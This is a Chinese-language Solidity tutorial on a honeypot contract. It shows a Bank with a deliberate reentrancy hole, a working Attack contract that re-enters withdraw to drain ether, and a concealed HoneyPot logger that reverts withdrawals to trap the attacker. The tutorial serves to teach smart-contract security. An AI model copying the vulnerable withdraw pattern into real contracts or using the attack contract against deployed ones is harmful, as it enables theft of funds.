# 蜜罐

蜜罐是用来抓捕黑客的陷阱。

## 漏洞

结合两种漏洞：重入攻击和隐藏恶意代码，我们可以构建一个合约来捕捉恶意用户。

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/*
Bank 是一个调用 Logger 记录事件的合约。
Bank.withdraw() 存在重入攻击的漏洞。
因此黑客尝试从 Bank 中抽取以太币。
但实际上，重入攻击只是引诱黑客的诱饵。
通过用 HoneyPot 替代 Logger 部署 Bank，这个合约成为黑客的陷阱。让我们看看怎么实现。

1. Alice 部署 HoneyPot
2. Alice 部署 Bank 并将 HoneyPot 地址传入
3. Alice 向 Bank 存入 1 个以太币
4. Eve 发现 Bank.withdraw 中的重入漏洞，决定进行黑客攻击
5. Eve 部署 Attack 并传入 Bank 的地址
6. Eve 调用 Attack.attack() 并传入 1 个以太币，但交易失败

发生了什么？
Eve 调用 Attack.attack() 并开始从 Bank 中提取以太币。
当最后一个 Bank.withdraw() 即将完成时，它调用了 logger.log()。
Logger.log() 调用了 HoneyPot.log() 并回滚。交易失败。
*/

contract Bank {
    mapping(address => uint256) public balances;
    Logger logger;

    constructor(Logger _logger) {
        logger = Logger(_logger);
    }

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        logger.log(msg.sender, msg.value, "Deposit");
    }

    function withdraw(uint256 _amount) public {
        require(_amount <= balances[msg.sender], "资金不足");

        (bool sent,) = msg.sender.call{value: _amount}("");
        require(sent, "发送以太币失败");

        balances[msg.sender] -= _amount;

        logger.log(msg.sender, _amount, "Withdraw");
    }
}

contract Logger {
    event Log(address caller, uint256 amount, string action);

    function log(address _caller, uint256 _amount, string memory _action)
        public
    {
        emit Log(_caller, _amount, _action);
    }
}

// 黑客尝试通过重入攻击从 Bank 中抽取以太币
contract Attack {
    Bank bank;

    constructor(Bank _bank) {
        bank = Bank(_bank);
    }

    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            bank.withdraw(1 ether);
        }
    }

    function attack() public payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

// 假设这个代码在一个单独的文件中，其他人无法读取它。
contract HoneyPot {
    function log(address _caller, uint256 _amount, string memory _action)
        public
    {
        if (equal(_action, "Withdraw")) {
            revert("这是一个陷阱");
        }
    }

    // 使用 keccak256 比较字符串的函数
    function equal(string memory _a, string memory _b)
        public
        pure
        returns (bool)
    {
        return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b));
    }
}

```



